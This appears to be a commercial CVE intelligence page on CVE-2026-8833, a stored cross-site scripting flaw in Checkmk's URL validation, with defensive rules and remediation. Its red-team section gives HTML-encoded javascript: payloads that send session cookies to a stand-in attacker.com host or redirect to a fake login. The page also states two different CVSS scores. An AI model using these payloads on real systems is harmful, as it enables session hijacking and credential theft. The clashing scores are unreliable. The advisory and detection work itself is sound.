☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Checkmk logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.5 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-8833

CVE-2026-8833 Cross-Site Scripting in Checkmk
📅 PUBLISHED: 2026-06-08 13:16 UTC 🔄 UPDATED: 2026-08-18 17:14 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Germany License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-8833 is a stored cross-site scripting (XSS) vulnerability in Checkmk, an IT monitoring solution. The flaw resides in the URL validation function, which improperly neutralizes HTML-encoded characters. An authenticated attacker can bypass URL validation to inject malicious URIs, such as javascript:, into monitored host or service URLs. When another authenticated user interacts with the crafted link (e.g., by clicking it in the Checkmk web interface), the attacker's script executes in the victim's browser session. This can lead to session hijacking, credential theft, or further lateral movement within the Checkmk environment. The vulnerability affects all Checkmk versions prior to the specified patches.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Checkmk is a proprietary software package, not distributed via NPM, PyPI, Go, or Ruby registries. The vulnerability is introduced through the application's own codebase, not a third-party dependency. However, organizations using Checkmk should verify the integrity of their downloaded packages and ensure they are obtained from official Checkmk sources to prevent supply chain compromise.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network (N) - The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required for the attack.
  • Privileges Required (PR): Low (L) - The attacker must be an authenticated user of Checkmk.
  • User Interaction (UI): Required (R) - The victim must click the malicious link.
  • Scope (S): Changed (C) - The vulnerability impacts resources beyond the attacker's initial permissions.
  • Confidentiality (C): Low (L) - Limited information disclosure is possible.
  • Integrity (I): Low (L) - Limited modification of data is possible.
  • Availability (A): None (N) - No impact on system availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for session hijacking and lateral movement within a monitoring environment makes this a significant concern for Checkmk deployments.

Deep Dive & Mechanics

The vulnerability is located in Checkmk's URL validation function, which is used to sanitize URLs entered by users for monitored hosts and services. The function is intended to prevent the injection of dangerous URI schemes like javascript:, data:, or vbscript:. However, it fails to properly neutralize HTML-encoded characters.

How the Bypass Works:

  1. Input: An attacker enters a malicious URL like javascript:alert(document.cookie) into a field that expects a legitimate URL (e.g., the "Service URL" or "Host URL" field).
  2. Encoding: The attacker HTML-encodes the dangerous part of the URL. For example, they might encode the colon (:) as &#58; or the entire javascript: scheme as &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;.
  3. Validation Bypass: The Checkmk validation function checks for the literal string javascript: but does not decode HTML entities before performing the check. Since the input contains &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;, the validation passes.
  4. Storage: The encoded URL is stored in the Checkmk database.
  5. Rendering: When another user views the host or service details, the Checkmk web interface renders the URL. The browser automatically decodes the HTML entities, turning &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58; back into javascript:.
  6. Execution: If the victim clicks the link, the browser executes the javascript: URI, leading to XSS.

This is a classic case of improper input validation where the validation logic does not match the rendering logic.

Vulnerable vs. Patched Code

The following is a conceptual representation of the vulnerable and patched code. The actual Checkmk code is proprietary.

Vulnerable Code (Python-like pseudocode):

def validate_url(url):
    # Vulnerable: Checks for literal 'javascript:' but not encoded versions
    if 'javascript:' in url.lower():
        raise ValidationError("Invalid URL scheme")
    # ... other checks ...
    return url

Patched Code (Python-like pseudocode):

import html

def validate_url(url):
    # Patched: Decode HTML entities before validation
    decoded_url = html.unescape(url)
    if 'javascript:' in decoded_url.lower():
        raise ValidationError("Invalid URL scheme")
    # ... other checks ...
    return url

The key difference is the addition of html.unescape() (or equivalent) to decode HTML entities before performing the security check. This ensures that encoded malicious schemes are detected.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

  • An authenticated Checkmk user account with permissions to edit host or service properties.
  • A target Checkmk instance (version < 2.5.0p5, < 2.4.0p31, < 2.3.0p48, or any 2.2.0 version).

Exploitation Steps:

  1. Login: Log in to the Checkmk web interface with the attacker's credentials.
  2. Navigate: Go to a host or service configuration page where a URL field is present (e.g., "Service URL").
  3. Craft Payload: Create a malicious URL using HTML encoding. For example, to steal cookies:
    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;document.location='https://attacker.com/steal?cookie='+document.cookie
    
    This decodes to javascript:document.location='https://attacker.com/steal?cookie='+document.cookie.
  4. Inject: Paste the encoded payload into the URL field and save the configuration.
  5. Wait: Wait for another authenticated user to view the host/service details and click the crafted link.
  6. Exfiltrate: The victim's browser executes the JavaScript, sending their session cookies to the attacker's server.

Example Payloads:

  • Session Hijacking:
    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;fetch('https://attacker.com/steal?cookie='+document.cookie)
    
  • Phishing (redirect to fake login):
    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;window.location='https://fake-checkmk-login.com'
    

Blue Team (Defender) Perspective

Detection & Prevention:

  1. Input Validation: Ensure that any URL validation function decodes HTML entities before checking for dangerous schemes.
  2. Output Encoding: When rendering URLs in the web interface, ensure they are properly encoded to prevent execution. However, this is a secondary defense; the primary fix is input validation.
  3. Content Security Policy (CSP): Implement a strict CSP that restricts the execution of inline JavaScript and only allows trusted sources. This can mitigate the impact even if XSS is achieved.
  4. Web Application Firewall (WAF): Deploy a WAF with rules to detect and block HTML-encoded javascript: URIs in input fields.
  5. User Education: Train users to be cautious of links in Checkmk, especially if they appear unusual or come from untrusted sources.

Lab Setup for Testing:

  1. Environment: Set up a vulnerable Checkmk instance (e.g., version 2.2.0) in a controlled lab environment.
  2. User Accounts: Create two user accounts: one attacker and one victim.
  3. Monitor: Use browser developer tools and a network proxy (e.g., Burp Suite) to observe the traffic and confirm the XSS execution.
  4. Test: Follow the Red Team steps above to verify the vulnerability.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
    • Unusual Referer headers pointing to Checkmk host/service configuration pages.
  • Host IOCs:
    • Checkmk audit logs showing modifications to host or service URL fields by non-admin users.
    • Presence of HTML-encoded javascript: URIs in the Checkmk database (e.g., in the hosts or services tables).
  • Application IOCs:
    • Unexpected JavaScript execution in the browser when clicking links in Checkmk.
    • Browser console errors or warnings related to CSP violations.

Detection Engineering

YARA Rule

rule Detect_Checkmk_XSS_URL_Validation_Bypass {
    meta:
        description = "Detects HTML-encoded javascript: URIs in Checkmk configuration data"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-8833"
    strings:
        $encoded_js = /&#(106|74);&#(97|61);&#(118|76);&#(97|61);&#(115|73);&#(99|63);&#(114|72);&#(105|69);&#(112|70);&#(116|74);&#(58|3A);/ nocase
        $encoded_js_short = /&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;/ nocase
    condition:
        any of them
}

Sigma Rule

title: Checkmk URL Validation Bypass - HTML Encoded javascript URI
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to inject HTML-encoded javascript: URIs into Checkmk URL fields.
author: Valters IT
date: 2026-01-01
logsource:
    category: application
    product: checkmk
detection:
    selection:
        EventID: 100  # Example: Checkmk audit log event for URL modification
        URL|contains|all:
            - '&#106;'
            - '&#97;'
            - '&#118;'
            - '&#97;'
            - '&#115;'
            - '&#99;'
            - '&#114;'
            - '&#105;'
            - '&#112;'
            - '&#116;'
            - '&#58;'
    condition: selection
falsepositives:
    - Legitimate use of HTML entities in URLs (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Checkmk XSS - HTML Encoded javascript URI in POST body"; flow:to_server,established; content:"&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Patch: Upgrade Checkmk to version 2.5.0p5, 2.4.0p31, 2.3.0p48, or later. This is the definitive fix.
  2. Workaround (if patching is delayed):
    • Restrict user permissions to prevent non-admin users from editing host/service URL fields.
    • Implement a reverse proxy or WAF with rules to block HTML-encoded javascript: URIs.
    • Enable and enforce a strict Content Security Policy (CSP) to mitigate XSS impact.
  3. Long-term Measures:
    • Conduct a code review of all input validation functions to ensure they handle encoding properly.
    • Implement automated security testing (SAST/DAST) to catch similar vulnerabilities in the future.
    • Monitor Checkmk audit logs for suspicious URL modifications.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-8833/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.